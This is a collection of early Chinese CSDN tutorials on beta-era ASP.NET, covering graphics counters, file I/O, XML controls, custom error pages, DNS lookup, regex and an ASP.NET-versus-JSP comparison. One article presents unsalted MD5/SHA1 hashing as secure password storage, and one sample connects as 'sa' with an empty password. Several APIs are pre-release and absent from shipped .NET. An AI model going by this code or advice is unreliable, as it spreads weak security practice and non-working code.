    有了ICQ信息，肯定不少朋友会问到OICQ，毕竟在国内OICQ是老大。但是很不幸，腾讯公司并没有给我们提供接口，我写信去问，他们告诉我没有提供，其实我也搞到一个，是通过WAP方式搞到的。但是这个不太好，只能是向腾讯公司发通知的那种形式出现，很不好玩,而且还必须网友在线才能收到，太没有意思了。本来也想通过UDP直接来写，但是实在不知道，这个数据包中要填些什么东东去验证，所以也没有办法，如果哪位朋友知道，请您写信给我，我也在waiting着啊。


csdn_ASP.NET中制作图形

ASP.NET中制作图形

这个程序经过修改 现在作计数器的话 只能做黑白的 计数器，谁有办法 能够做出 复杂的 图形计数器？
<% @Page Language="C#" %>
<% @Import Namespace="System.Drawing" %>
<% @Import Namespace="System.IO" %>
<% @Import Namespace="System.Drawing.Imaging" %>
<%
Response.Expires = 0;
Bitmap newBitmap = null;
Graphics g = null ;
string str2Render = Request.QueryString.Get("HitCount");
if (null == str2Render) str2Render = "12345";
string strFont = Request.QueryString.Get("HitFontName");
if (null == strFont) strFont = "楷体_GB2312";
int nFontSize = 12;
try
{
nFontSize = Request.QueryString.Get("HitFontSize").ToInt32();
}
catch
{
// do nothing, just ignore
}

string strBackgroundColorname = Request.QueryString.Get("HitBackgroundColor");
Color clrBackground = Color.White;
try
{
if (null != strBackgroundColorname)
clrBackground = ColorTranslator.FromHTML(strBackgroundColorname);
}
catch
{
}

string strFontColorName = Request.QueryString.Get("HitFontColor");
Color clrFont = Color.Black;
try
{
// Format in the URL: %23xxXXxx
if (null != strFontColorName)
clrFont = ColorTranslator.FromHTML(strFontColorName);
}
catch
{
}

try
{
Font fontCounter = new Font(strFont, nFontSize);
newBitmap = new Bitmap(1,1,PixelFormat.Format32bppARGB);
g = Graphics.FromImage(newBitmap);
SizeF stringSize = g.MeasureString(str2Render, fontCounter);
int nWidth = (int)stringSize.Width;
int nHeight = (int)stringSize.Height;
g.Dispose();
newBitmap.Dispose();
newBitmap = new Bitmap(nWidth,nHeight,PixelFormat.Format32bppARGB);
g = Graphics.FromImage(newBitmap);
g.FillRectangle(new SolidBrush(clrBackground), new Rectangle(0,0,nWidth,nHeight));
g.DrawString(str2Render, fontCounter, new SolidBrush(clrFont), 0, 0);
MemoryStream tempStream = new MemoryStream();
newBitmap.Save(tempStream,ImageFormat.GIF);
Response.ClearContent();
Response.ContentType = "image/GIF";
Response.BinaryWrite(tempStream.ToArray());
Response.End();
}
catch (Exception e)
{
Response.Write(e.ToString());
}
finally
{
if (null != g) g.Dispose();
if (null != newBitmap) newBitmap.Dispose();
}
%>


csdn_ASP.NET与JSP之间的抉择

ASP.NET与JSP之间的抉择

由于我同时是ASP和JSP的程序员，所以正开始写一系列的文章来比较两者的差别，当我写到一半时，ASP+被宣布了，所以我不得不重新开始审视这个问题。我正在同时做一个JSP项目和一个ASP项目，后者十分有趣，因为它开始是采用ASP3.0，但当项目结束后我将会转换为ASP.NET。到那时我将可以对ASP+有更近的考察，并提供更好的ASP+和JSP的比较。本文是我目前对ASP+的一些认识和看法，并分析了它对于象我这样的普通开发人员可能会产生的影响。

    通过最初步的比较，我发现：

    1) 面向对象性:

    ASP.NET将C#作为一种面向对象语言，在很多方面来看，C#将成为微软的与Java相似的语言。

    C#另一个有趣的地方是所有对象都自动变成为COM对象。如果C#能取得很大的市场份额，那么它将给ASP+带来类似于Java的功能，并且具备更快的性能，因为它可以和Windows环境紧密集成。

    C#是ASP.NET开发中一个最重要的功能，微软会将C#发展成为Java的强劲对手。这也是微软.Net框架的一个重要组成部分。我认为C#是微软在编程市场上击败对手的主要工具。我期待着微软能在这个产品后面倾注全力，这样，C#可以成为许多程序员的又一种选择。C#的诞生无疑将进一步加剧微软和Sun产品的战线，但这对用户是有利的，他们可以选择两者之一来开发新的应用。

    2) 数据库连接：

    ASP另一个亮点是它使用ADO对象、ODBC、OLE-DB和事务处理管理器。因此ASP Web数据库应用开发特别简单。ASP+发展了更多的功能，因为有了ADO+！ADO+带来了更强大更快速的功能。JSP和JDBC目前在易用性和性能上同ASP/ADO相比已有些落后，当新版本ASP+/ADO+出现后这样的差别会更明显。所以我个人希望SUN应尽快能花大力气来追赶ASP+/ADO+的组合。

    3)大型站点应用：

    ASP.NET将对大型站点(web farms)有更好的支持。事实上，微软已经在这方面付出了巨大的努力。 ASP.NET可以让你考虑到多服务器(multiple servers)的场合，当你需要更强大的功能时，仅仅只需要增加一台服务器。整个.Net框架已经充分地提供了这个方法。ASP.NET提供了外部会话状态(external session state)来提供内置式web farm的支持。另外，由于请求的各组件相互间经过了充分的优化，所以速度很快。

    于是ASP+现在可以在大型项目方面与JSP一样具有等同的能力。而ASP+还有价格方面的优势，因为所有的组件将是服务器操作系统的一部分。对于JSP,你需要购买昂贵的应用服务器群来达到同样的目的。

    4) ASP.NET还提供更多的其它方面的新特性，例如：

    *内置的对象缓存和页面结果缓存。

    *内置的XML支持，可用于XML数据集的简单处理。

    *服务器控制提供了更充分的交互式控制。

    由此可见，ASP.NET确实对ASP进行了较大的发展。

    在我审视完ASP.NET后，我的初步结论是：我未来项目主要还是要采用基于Java/JSP的技术。这有以下三个理由：

    1) 要真正发挥ASP.NET潜力，你要使用C#或vb.net。这两种语言将成为ASP+标准的核心的脚本语言。这对ASP的未来发展很有好处。而我向来不喜欢用当前的Visual Basic来制作com对象。新的ASP+核心脚本语言更能发挥ASP+的价值。

    显然，所有这些ASP.NET的新进展促使我对今后语言选择做一个决定，它将占据我未来的无数时间和努力。

    回想起来，当Java开始发展起来时我正好学习了Java，那时我预感到这将是围绕我未来程序生涯的语言。于是，JSP理所当然地成为了我在web开发中的第一选择。

    现在我已经是一个JSP fan，除非微软能够将我整个扭转过去，我感觉到自己正面临ASP+的巨大挑战。

    2) ASP+依然完全锁定在微软的操作系统中。JSP比ASP+拥有更大的范围，它在别的服务器配置中也有很好的伸缩性。虽然Windows 2000 的优越性日益显露，但这对开发人员不构成问题。

    3) 我并不能确信是否我能认同ASP+结构的各种方面，这需要更深入的分析，所以，我很犹豫。也许直到我使用了1-2个月后才会改变看法。总的来说，这需要在一个很高的层次来看待这个beta产品。

    而作为一个ASP开发人员，ASP+也让我要停下来反思一下。未来8个月的ASP新项目将变得很困难。为什么？因为 ASP+和C# 带来了一个难题，它们要到2001年才正式提供。而很多性能方面的要求现在就需要确定。由于ASP+只是一个beta软件，所以现在我的第一个选择反而很简单了。现在的项目就采用ASP3.0。我认为各种beta版的语言都不太可信。

    但我不能忽视ASP+,因为它很快就要推出，并代表了ASP的未来。ASP项目的管理者还需要考虑到未来的可平滑移植性及付出的时间代价等。另一个结果则是，这使得在近期使用PHP和JSP来代替ASP变得更可靠一些。

    总的来说，

    1) 如果使用ASP+，你将花费额外的时间学一些新的工具。

    2) 新的工具有待于版本化，所以为什么不先关注于目前存在的东西？

    3) ASP+将来会拥有的特性JSP已经拥有。

    4) ASP+将你锁定到纯Microsoft的体系中。

    最后，我预测会有很多人加入到PHP和JSP的行列。可是，仍然会有一部分人会受到ASP+给业界带来的激动所感染。我从没看到一个beta编程产品会带来如此的震撼！

    同时，我还注意到一篇讨论.net的文章中也提到了同样的问题：

    ASP+以自由软件作为开始，现在已经渐渐成为Microsoft的.Net框架的基石之一。Sun应该从中得到教训。特别注意的是，你需要许可证才能升级到ASP+，因为它和太多的产品集成在一起了。.Net框架太大了。在假定某个产品可以成为真正的产品之前，我通常等待它的第一个service pack。所以，即使ASP+已经在2001第一季度被版本化，我仍然要等到2001第二季度。

    当然，因为ASP+ 已经产生了如此的激动人心，一旦推出，很多商店都会马上提供ASP+。

    事实上我早已经使用beta版ASP+! 我发现它使用 .aspx 后缀，这使我我感觉Microsoft会在近期推出第一个ASP+的service pack。

    下一年里，我们将看到在这个巨大的市场上Sun和Microsoft如何展开决战，而程序员们又将做出什么样的选择呢？


csdn_如何在asp.net中操作文件

如何在asp.net中操作文件

如何在asp.net中操作文件

在asp.net操作文件的所有concept都在system.io namespace中，这个namespace包含读写操作文件所必需的类。
本文将详细介绍关于文件读，写，删除等asp.net中的文件操作。
创建文件：并写入一些内容。
正如开始我们提到的，我们需要在我们的asp.net的页面的前面添加文件操作的namespace“system.io”

第一步：
如下所示添加namespace

<%@ Import Namespace="System.IO" %>

下一步制作文本文件

writefile.aspx
<%@ Import Namespace="System.IO" %>
<%
Response.write("Writing the content into Text File in ASP.NET <BR>")

' 声明streamwriter对象
Dim strwriterobj As StreamWriter

' 创建文本文件并将其赋给上面声明的streamwriter对象
strwriterobj= File.CreateText("c:\aspnet.txt" )

'在刚才创建的文本文件里写一些东东
strwriterobj.WriteLine( "Welcome to user chenyang's ASP.NET Program" )

strwriterobj.Close

Response.write("创建文本文件并填充内容")
%>
现在我们完成了第一部分

接下来，我们来完成第二部分
从文件中读取数据
1.读取文件使用StreamReader类
2.当使用readline时，文件的末尾用空串表示("")
让我们从我们刚刚制作的文本文件中读取数据
now let's go

readfile.aspx

<%@ Import Namespace="System.IO" %>
<%
Response.write("Reading the content from the text file ASPNET.TXT <br>")

' 声明streamreader对象
Dim streamreaderobj As StreamReader

' 声明filecont变量储存文件中读取的数据
Dim filecont As String

' 打开文本文件并赋于streamreaderobj对象
streamreaderobj = File.OpenText( "c:\aspnet.txt" )

' 读取文件数据直到空值为止

Do
filecont = streamreaderobj.ReadLine()
Response.Write( filecont & "<br>" )
Loop Until filecont = ""

' 操作完成关闭streamreaderobj对象
streamreaderobj.Close

Response.write("<br> 读取aspnet.txt文件结束")
%>

三删除文件
删除文件的操作可以说在asp.net中是最直接的。
下面让我们看看文件的删除操作

Filedelete.aspx

<%@ Import Namespace="System.IO" %>

<%

File.Delete("c:\aspnet.txt" )

Response.write("文件删除成功!!!" )
%>


csdn_asp.net中的加密方法

asp.net中的加密方法

无论什么时候只要我们使用数据库开发网站，我们就必须保护用户资料，这非常必要。
黑客可以盗窃口令，个人隐私遭到严重的破坏。最好的方法就是不储存原始密码，而是加密后再放到数据库中。
当我们想验证用户时，我们只需将用户输入的口令再次加密与数据库中的记录进行比较即可。
在asp中我们需要额外的对象加密。
但在asp.net中 SDK可以通过system.web.security namespace中的CookieAuthentication类的

HashPasswordForStoringInConfigFile方法来解决问题。
这样做的目的是加密配置文件的口令，甚至cookies.
HashPasswordForStoringInConfigFile方法非常容易使用，并且，它支持“SHA1”和“MD5”散列算法。
为了清楚“HashPasswordForStoringInConfigFile”方法，让我们制作一个小的ASP.NET页，把输入串在SHA1和MD5格式

中译成密码。
now go

<%@ Import Namespace="System.Web.Security" %>
<html>
<head>
<script language="VB" runat=server>
Sub encryptString(Src As Object, E As EventArgs)
SHA1.Text = CookieAuthentication.HashPasswordForStoringInConfigFile(txtPassword.Text, "SHA1")
MD5.Text = CookieAuthentication.HashPasswordForStoringInConfigFile(txtPassword.Text, "MD5")
End Sub
</script>
</head>
<body>

<form runat=server>

<p><b>Original Clear Text Password: </b><br>
<asp:Textbox id="txtPassword" runat=server />
<asp:Button runat="server" text="Encrypt String" onClick="encryptString" /></p>

<p><b>Encrypted Password In SHA1: </b>
<asp:label id="SHA1" runat=server /></p>

<p><b>Encrypted Password In MD5: </b>
<asp:label id="MD5" runat=server /></p>

</form>

</body>

</html>

怎么样加密一串字符串是很容易的事，为了使它更容易使用我制作了一个函数。下面我就给出函数的源代码.

Function EncryptPassword (PasswordString as String, PasswordFormat as String) as String
If PasswordFormat = "SHA1" then
EncryptPassword = CookieAuthentication.HashPasswordForStoringInConfigFile(PasswordString, "SHA1")
Elseif PasswordFormat = "MD5" then
EncryptPassword= CookieAuthentication.HashPasswordForStoringInConfigFile(PasswordString, "MD5")
Else
EncryptPassword = ""
End if
End Function


csdn_在asp.net中使用<asp:xml>server control

在asp.net中使用<asp:xml>server control

在asp.net中使用<asp:xml>server control
首先我给出一个实例文件，之后我会通过它来介绍<asp:xml>server control
<html>
<body>
<asp:xml id="MyXml1" DocumentSource="Perf.xml" TransformSource="Perf.xsl" runat=server/>
</body>
</html>
Perf.xml:
<?xml version='1.0'?>
<sales>
<division id='North'>
<revenue>10</revenue>
<growth>9</growth>
<bonus>7</bonus>
</division>
<division id='South'>
<revenue>4</revenue>
<growth>3</growth>
<bonus>4</bonus>
</division>
<division id='West'>
<revenue>6</revenue>
<growth>-1.5</growth>
<bonus>2</bonus>
</division>
</sales>

Perf.xsl:

<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform'>
<xsl:template match="/">
<style>
.value { width:"25%";font-family:courier new; font-size:.8em; white-space=pre;}
</style>
<table border="1" cellspacing="0" cellpadding="3" bordercolor="gainsboro">
<tr>
<th>Division</th>
<th>Revenue</th>
<th>Growth</th>
<th>Bonus</th>
</tr>
<xsl:for-each select='sales/division'>
<tr>
<td class="value"><em><xsl:value-of select='@id'/></em></td>
<td class="value"><xsl:value-of select='revenue'/></td>
<td class="value">
<xsl:if test='growth < 0'>
<xsl:attribute name='style'>
<xsl:text>color:red</xsl:text>
</xsl:attribute>
</xsl:if>
<xsl:value-of select='growth'/>
</td>
<td class="value"><xsl:value-of select='bonus'/></td>
</tr>
</xsl:for-each>
</table>
</xsl:template>
</xsl:stylesheet>
note:
<asp:xml>server控制元件有四个属性：
1.DocumentSource(xml文件路径)
2.TransformSource(xsl文件路径)
3.Document(引用一个XmlDocument对象)
4.Transform(引用一个XslTransform对象)
我们可以通过指定唯一的id控制<asp:xml>server元件
如果你有选择性的从数据库（sql或任意数据库)使用某些数据，你将通过dataset创建一个XmlDataDocument
下面的例子将很好的说明这一问题
<%@ Page ContentType="text/xml" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>
<%@ Import Namespace="System.Xml" %>
<script language="VB" runat=server>
Function GetProductData() As DataSet
Dim connection as New SQLConnection("server=localhost;uid=sa;pwd=;database=northwind")
Dim command as New SQLDataSetCommand("SELECT * FROM Products WHERE ProductID<8", connection)
Dim dataset As New DataSet()
command.FillDataSet(dataset, "dataset")
Return dataset
End Function
Sub Page_Load(Sender as Object, E as EventArgs)
Dim DataSet1 as DataSet = GetProductData()
Dim XmlDoc as XmlDocument = New XmlDataDocument(DataSet1)
MyXml1.Document = XmlDoc
End Sub
</script>
<asp:xml id="MyXml1" runat=server/>


csdn_ASP.NET中的错误处理支持

ASP.NET中的错误处理支持

ASP.NET中的错误处理支持

ASP.NET具有一个很好的新功能：它对运行时间错误的处理和跟踪提供了丰富支持。特别是，它为管理人员提供了一种很简单的方法，可以保证那些令人恐惧的“ASP 43433ax”十六进制形式的错误永远也不会被显示到客户面前。相反，它允许显示一个较为定制化的信息，比如“对不起，这个站点不可用”。ASP.NET还提供了一种强大的方法，使开发人员可以对他们的代码进行装备，向管理人员提供发生在工作站点问题的额外信息与通知。本文详细介绍了这两种技术，同时在结尾包括了一个样本代码，你可以直接使用它试验一下。

确保不会泄露安全信息

ASP.NET同以前的ASP一样，当服务器上发生了一个运行时间或编译时间错误时，就会生成一个html 错误页面。但是与ASP不同，ASP.NET格外关注的是：要确保在默认状态下，不会因为这个错误的发生而泄露“安全”信息。尤其是如果你从一个远程机器上点击服务器的话。“out of the box”型的错误处理设置将不会导致显示远程机器的编译器信息、泄露配置信息、文件名、堆栈记录 、源代码或线性数据。相反，远程用户只会看到一个如“发生了应用程序错误”的普通信息。要想查看错误细节，用户必须要：1）从本地服务器再次点击页面，或者是 2）在机器或应用程序的config.web文件中修改配置的设置来允许远程访问：

<configuration>
<customerrors mode="off" />
</configuration>

我们希望通过将默认状态设置成我们不得不“安全”的样子，从而能够最终帮助保护应用程序的完整性和安全性。并且由此纠正许多ASP开发人员—特别是ASP管理人员都在反映的一个共同的抱怨/担心）。

使用定制错误页面

虽然我们发送给用户的公用错误信息是安全的，就是说它不会威胁到应用程序的秘密，但是这样的信息并不好看。也许你希望用户永远也看不到这样的信息。相反，当处理请求的过程中，如果发生了一个为处理的错误，你希望能够显示自己的“定制错误页面”，显示出自己的品牌以及特定的错误信息。

向ASP.NET 应用程序中增加定制错误信息非常容易。首先，编写自己的 web页面，它可以是任何类型的文件：.htm，.aspx，.asp，等等。然后在应用程序的config.web文件中修改配置信息，让它指向这个文件。

举例说明，以下这个配置信息说明在发生了任何未能预定处理错误的情况下，浏览器都应该被重定向到“ErrorPage.aspx”页面：

<configuration>
<customerrors mode="remoteonly" defaultredirect="ErrorPage.aspx" />
</configuration>

<customerrors>标记中的“defaultredirect”属性定义了在发生错误的情况下，用户将被重定向到的“默认”页面。或者，也可以根据响应的http代码状态，重定向到其它的页面来覆盖这个默认值。例如：重定向到一个特殊的“未找到文件”错误页面、“非法访问”错误页面、“服务器冲突”错误页面等等。

举例说明，以下的配置信息覆盖3个特定的http 状态代码，所有其它错误都返回到一个默认页面：

<customerrors defaultredirect="http://anotherhost/error.aspx" mode="remoteonly">
<error statuscode="500" redirect="http:/anotherhost/pages/callsupport.html" />
<error statuscode="404" redirect="http:/anotherhost/pages/adminmessage.html" />
<error statuscode="403" redirect="http:/anotherhost/pages/noaccess.html" />
</customerrors>

在定制错误页面上有一件事我们已经遇到过，那就是虽然它们对于已经完成的情况非常有用，然而在开发过程中却非常难以对付。因为你预想到在开发过程中会有bug，并且当你发现的时候，真的希望看到实际的错误信息跟踪。为了解决这个问题，<customerrors>标记支持一个有3个值的“mode”属性：

“on”：意思是总是发出定制错误页面；

“off”：意思是从不发出定制错误页面（你总是看到原始的错误信息）；

“remoteonly”：意思是只有当远程浏览器点击站点时才发出定制错误页面（而在实际机器上点击站点的开发人员看到的是详细的错误信息）。

装备应用程序帮助管理员跟踪错误

虽然向客户显示定制的错误信息是一件好事，但也许你还是希望，当一个错误在站点上发生时，开发人员和管理员能够很容易地实时发现它，并且识别出是什么问题、url及例外信息是什么。

为了解决这个问题，ASP.NET引入了一个可以在Global.asax文件中处理的新的“应用程序层”事件：“Application_Error”。在处理一个web请求的过程中，当有一个未处理的例外发生时，这个方法就被调用。开发人员从中可以获得有关请求的特殊信息，例如：要弹出页面的url、查询字符串变量、用户代理、cookie的值等等，以及封装错误信息的实际例外对象的信息。然后就可以继续进行，运行任何他们想要跟踪以及用来通知管理员和开发人员有关问题的逻辑，这可能包括使用 System.Diagnostic APIs向NET事件日志写入信息、使用System.Web.Util SMTP Email APIs向管理员发email、向一个数据库中写入信息等等。

举例说明，以下的Global.asax文件演示了如何向一个定制NT事件日志“MyCustomLog”写入错误信息，包括页面url和例外堆栈记录：

<%@ Import Namespace="System.Diagnostics" %>
<script language="VB" runat=server>
Sub Application_Error(Sender As Object, E as EventArgs)
'Obtain the URL of the Request
Dim PageUrl as String = Request.Path
'Obtain the Exception Object for the Error
Dim ErrorInfo as Exception = Server.GetLastError()
'Construct Error Message to Write to NT Event Log
Dim Message As String = "Url " & PageUrl
Message = Message & " Error: "
Message = Message & ErrorInfo.ToString
'NT Event Log Name to Write Message To
Dim LogName As String = "MyCustomLog"
'Create Event Log if It Doesn’t Exist
If (Not EventLog.SourceExists(LogName)) Then
EventLog.CreateEventSource(LogName, LogName)
End if
'Fire off to Event Log
Dim Log as New EventLog
Log.Source = LogName
Log.WriteEntry(Message, EventLogEntryType.Error)
End Sub
</script>

要想看到上门所描述的一切实际是如何工作的，试着在机器上创建一个新的IIS应用程序vroot，然后将上面的样本代码复制到一个新的“Global.asax”文件中，这个文件是在应用程序根目录中创建的。然后，将以下代码片段复制/粘贴到“Blowup.aspx”文件中:

<html>
<body>
<%
Dim x
x.BlowUp()
%>
</body>
</html>

注意，这个文件总是会引起一个运行时间错误，因为其中引起了一个无效引用例外，而“x”对象根本就没有创建，也没有“Blowup”方法。因此，当你用浏览器点击页面，将看到一个错误信息时。

除了在浏览器内看到错误信息外，由于Global.asax内部存在Application_Error事件，你还会在NT 事件日志中看到它。要查看这点，请选择“开始菜单->程序->管理工具->事件查看器”，然后点击右侧的“MyCustomLog”节点，就会显示出日志的内容。在其内部特定项目上双击就可以看到页面的url以及堆栈的记录细节。

注意：NT事件日志可以远程查看，因此这是一个从远处跟踪机器状态的简便方法。还要注意：当你动态创建一个新的NT事件日志时，为了看到它在列表中显示出来，必须每次都退出并重新启动NT事件查看器。

既然当新的ASP.NET 应用程序内部发生问题时，我们能够轻松地跟踪错误的细节，现在我们就要确保我们的客户所看到的只是友好的定制错误信息。这就要在vroot中创建一个“CustomError.aspx”页面：

<html>
<body>
<h1> My Custom Error Page</h3>
<h3> Todo: Make this pretty.... </h3>
</body>
</html>

然后修改config.web文件，让它指向这个页面：

<configuration>
<customerrors mode="on" defaultredirect="CustomError.aspx"/>
</configuration>

这时请再次点击BlowUp.aspx页面，你会看到浏览器被自动重定向到友好的错误页面。如果你查看NT事件日志的话，会看到关于这个错误对一个管理员进行通知时必要的所有细节，以及开发人员要识别和修复它所必要的所有细节。

要注意，由于客户信息信息被存储在config.web 文件而不是IIS元数据中，因此它可以通过“xcopied”进行安装，而不需要请求用户使用IIS Admin 工具。ASP.NET的这种客户定制功能在IIS4 和IIS5中也同样奏效。

原作者：luggie(转)


csdn_在 ASP.NET 中使用多个 runat=server form

在 ASP.NET 中使用多个 runat=server form

ASP.NET 在同一个页面不支持多个 runat=server forms，要解决这个问题，可以把每个 form 放在一个单独的 panel 控件中，这样用户就可以简单地通过单选按钮在不同 panel 间切换。
代码如下：
2FormExample.aspx

<%@ Page language="c#" Codebehind="2FormExample.cs" AutoEventWireup="false" Inherits="_3leaf_app.C2FormExample" %>
<html><head>
<meta name=vs_targetSchema content="HTML 4.0">
<meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
<meta name="CODE_LANGUAGE" Content="C#"></head>
<body>

<form method="post" runat="server" ID=Form1>
<p>Lookup by
<asp:RadioButton id=RadioButton1 runat="server" Text="First Name" AutoPostBack="True" groupname=g1 checked=True></asp:RadioButton>
<asp:RadioButton id=RadioButton2 runat="server" Text="Last Name" AutoPostBack="True" groupname=g1></asp:RadioButton></p>
<p></p>
<p>
<asp:Panel id=Panel1 runat="server" visible=True>
First Name :
<asp:TextBox id=TextBox1 runat="server"></asp:TextBox>
<asp:RequiredFieldValidator id=RequiredFieldValidator1 runat="server" ErrorMessage="*" ControlToValidate="TextBox1"></asp:RequiredFieldValidator>
<asp:Button id=Button1 runat="server" Text="Submit"></asp:Button>
</asp:Panel>
<asp:Panel id=Panel2 runat="server" visible=False>
Last Name :
<asp:TextBox id=TextBox2 runat="server"></asp:TextBox>
<asp:RequiredFieldValidator id=RequiredFieldValidator2 runat="server" ErrorMessage="*" ControlToValidate="TextBox2"></asp:RequiredFieldValidator>
<asp:Button id=Button2 runat="server" Text="Submit"></asp:Button>
</asp:Panel>
<p></p>
<p>
<asp:label id=Label1 runat="server"></asp:label>
</p>
</form>

</body></html>

2FormExample.cs

namespace _3leaf_app
{
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;

/// <summary>
/// Summary description for C2FormExample.
/// </summary>
public class C2FormExample : System.Web.UI.Page
{
protected System.Web.UI.WebControls.Button Button2;
protected System.Web.UI.WebControls.RequiredFieldValidator RequiredFieldValidator2;
protected System.Web.UI.WebControls.TextBox TextBox2;
protected System.Web.UI.WebControls.Button Button1;
protected System.Web.UI.WebControls.RequiredFieldValidator RequiredFieldValidator1;
protected System.Web.UI.WebControls.TextBox TextBox1;
protected System.Web.UI.WebControls.Label Label1;
protected System.Web.UI.WebControls.Panel Panel2;
protected System.Web.UI.WebControls.Panel Panel1;
protected System.Web.UI.WebControls.RadioButton RadioButton2;
protected System.Web.UI.WebControls.RadioButton RadioButton1;

public C2FormExample()
{
Page.Init += new System.EventHandler(Page_Init);
}

protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
}
}

protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();
}

/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
RadioButton1.CheckedChanged += new System.EventHandler (this.RadioButton1_CheckedChanged);
Button1.Click += new System.EventHandler (this.Button1_Click);
RadioButton2.CheckedChanged += new System.EventHandler (this.RadioButton2_CheckedChanged);
Button2.Click += new System.EventHandler (this.Button2_Click);
this.Load += new System.EventHandler (this.Page_Load);
}

public void Button2_Click (object sender, System.EventArgs e)
{
Label1.Text = "You want to search on last name";
}

public void Button1_Click (object sender, System.EventArgs e)
{
Label1.Text = "You want to search on first name";
}

public void RadioButton2_CheckedChanged (object sender, System.EventArgs e)
{
Panel1.Visible = false;
Panel2.Visible = true;
}

public void RadioButton1_CheckedChanged (object sender, System.EventArgs e)
{
Panel1.Visible = true;
Panel2.Visible = false;
}
}
}


csdn_ASP.NET中通过网络域名追捕该主机的IP地址

ASP.NET中通过网络域名追捕该主机的IP地址

在Windows编程环境中，我们有一个可以调用的API 函数GetHostByName ，以前在Asp中我们必须通过组件来实现
类似的功能，比如AspDNS等等,现在MS在ASP.Net上给我们提供了新的编程接口，让我们可以很轻松的实现这样类似
的功能.原因是在Asp.Net中给我们提供了一个DNS Class,我们可以通过这个Class 轻松的实现我们在上面所提到的
功能。
我们可以看到下面的代码是很简单的程序，但是他实现的却是我们以前在Asp中想象都不可以想象的功能。
<%@ Import NameSpace="System.Net" %>
<script language="C#" runat=server>
protected void doClick(Object Src, EventArgs E){

IPHostEntry hostInfo = DNS.GetHostByName(txtDomain.Text);
showmsg.Text=hostInfo.AddressList[0].ToString();
}
</script>
<asp:Label runat=server id=showmsg />
<form id=testForm runat=server>
要查找的网络域名：<asp:TextBox runat=server id=txtDomain /><asp:Button runat=server id=do Text="查找" onClick=doClick />
</form>


csdn_剖析ASP.NET下部构造(一)

剖析ASP.NET下部构造(一)
crystal译·yesky

    (前面我已说过ASP.NET拥有全新的下部构造)当我说到全新的下部构造……我得再次强调,是全新的下部构造! 它不只
是 ASP 的一个简单变化. 在此引入收管代码(managed code)这样一个全新概念,它横贯整个视窗开发平台. 受管代码在
NGWS Runtime下运行. NGWS Runtime是一个时间运行环境,它管理代码的执行,使程序设计更为简便. NGWS Runtime 代替程
序员做了许多他们过去不得不亲自做的工作, 因此现在程序员就可以放更多的心思在完善实际的工作上,而不是花费时间来
思考如何管理代码.那么
什么是NGWS?

    从ASP开发者的角度看, NGWS Runtime的作用与ASP2,ASP3中的Transaction Server起的作用相类似. NGWS Runtime 管
理系统层次的工作,因此你可以有更多的时间来构造应用程序.

    这个新的NGWS结构反映了行业信息技术观点对于建立，调试以及维护各种WEB服务的需要的转变，这些服务包括简单的
客户应用到复杂的分布式结构。上面所有的概念和策略只是 Windows Distributed Internet Applications (DIA)部分结
构.


csdn_剖析ASP.NET下部构造(二)

剖析ASP.NET下部构造(二)
crystal译·yesky

    NGWS 结构提供一个执行引擎来执行代码，同时对象定向的类和组件组成的族被用做建立应用。它同样扮演着应用程序
与核心操作系统之间的接口。你可能会问当应用程序可以很容易地与核心系统对话时为什么还需要这一层呢。原因就是，
这一层能够使用应用程序在操作系统得到更好的利用，通过一标准的方法使应用程序更加快速和更利于发展，更加有利于
我们现在这个高速发展的商业竞争社会。

    为了实现这些目标，这个结构执行许多程序属性或者是指定的程序语言环境（这个自个加）。这些包括碎片的自动收
集，丰富的可重复使用的对象库，以及安全的应用。最后一点就这些能在internet上运行 。

    NGWS Runtime自动解决参考的对象,并且会在它们不用时自动释放.同时管理系统内存,清除内存空隙,以及其它传统的
程序设计中存在的问题. 另外, 这种新的runtime 允许不同程序设计语言集成交互使用,除了各种语言运行于同一环境时的
句柄。例如:你能够用从一种语言写的类导出另一种语言写的类,RUNTIME使之成为可能,并且新的普通版提供这样的系统和
环境

    我就在此解释一下它们能使你的系统获得什么:

1) 增强的性能

2) 跨语言集成部件的再利用

3) 支持更好的对象建立向导

4) 自管理内存

5) 用户更自由的运用多种类别语言

    ASP.NET使你只需做少量的工作，却拥有更多自由时间。请记住我将很简单的介绍这些而直接介绍大多数ASP开发人员
关心的更多的应用。需要指出的是,RUNTIME将被特别提及的，因为他是ASP.NET的基础和支持环境


csdn_再议正则表达式(这次是在asp.net 上的应用)

再议正则表达式(这次是在asp.net 上的应用)

前面我们讲过asp中使用正则表达式，现在我们
在asp.net 下通过C# 来体验一下在 asp+ 中的正则表达式是如何使用的。
首先利用 Regex 类的重载构造函数来创建一个我们对要用正则表达式进行判断的 一个对象，代码如下：

Regex r=new Regex("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$"); //这个是判断是否是 合法的 mail地址

这个正则表达式是我们在前面的文章中利用过的判断Email地址是否合法的判断表达式,关于这个表达式的具体含义
请查看文章 asp中使用正则表达式.
在这里请注意下一些细小的差别，在C#语言中,"\" 被赋予了特殊的转义含义，比如"\n",等等，为了能够在正则表达式中
正确的对"\",进行理解，我们必须使用"\\"符号来表达一个"\" 符号
下面我们来查看以下我们的这个完整的代码:
<script language="c#" runat=server>
protected void Page_Load(Object Src, EventArgs E){
if(judgeMail("webmaster@asp888.net"))
showmsg.Text="合法地址";
}
bool judgeMail(String strMail){
//Regex r=new Regex("^[a-zA-Z]\\w{3,15}$"); //这个是 判断密码的问题
Regex r=new Regex("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$"); //这个是判断是否是 合法的 mail地址
return r.IsMatch(strMail);
}
</script>

<Asp:Label id=showmsg runat=server Text="非法地址" />


csdn_ASP.NET强大的性能(一)

ASP.NET强大的性能(一)

